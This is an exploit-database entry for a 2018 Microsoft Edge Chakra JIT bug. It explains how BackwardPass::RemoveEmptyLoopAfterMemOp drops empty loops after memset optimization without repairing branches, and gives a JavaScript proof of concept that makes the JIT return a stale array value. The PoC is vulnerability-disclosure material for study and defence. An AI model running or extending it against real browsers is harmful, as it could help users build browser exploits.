ExploitFixes
Microsoft Edge Chakra JIT - BackwardPass::RemoveEmptyLoopAfterMemOp Does not Insert Branches 2018-01-09 18:05:06

/*
The optimizations for memory operations may leave empty loops as follows:

for (let i = 0; i < arr.length; i++) {
arr[i] = 0;
}

Becomes:

Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
// empty!
}

These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.

Here's what may happen.

A:
Memset(arr, 0, arr.length);

for (let i = 0; i < arr.length; i++) {

}
goto D; // Actually, this's a "BrGe_I4" instruction in the PoC.

C:
...

D:
...

Becomes:

A:
Memset(arr, 0, arr.length);

C:
...

D:
...

So, this may break the control flow.


PoC:
*/

function opt(a, b, always_true = true) {
a[0] = 1234;
b[0] = 0;

let arr = a;
if (always_true) {
arr = b;
for (let i = 0; i < arr.length; i++)
arr[i] = 0;
}

let val = arr[0];
if (val) {
print(val); // Must be 0, but prints out 1234
return true;
}

return false;
}

let a = new Uint32Array(1);
let b = new Uint32Array(0x1000);
for (let i = 0; i < 10000; i++) {
if (opt(a, b)) {
break;
}
}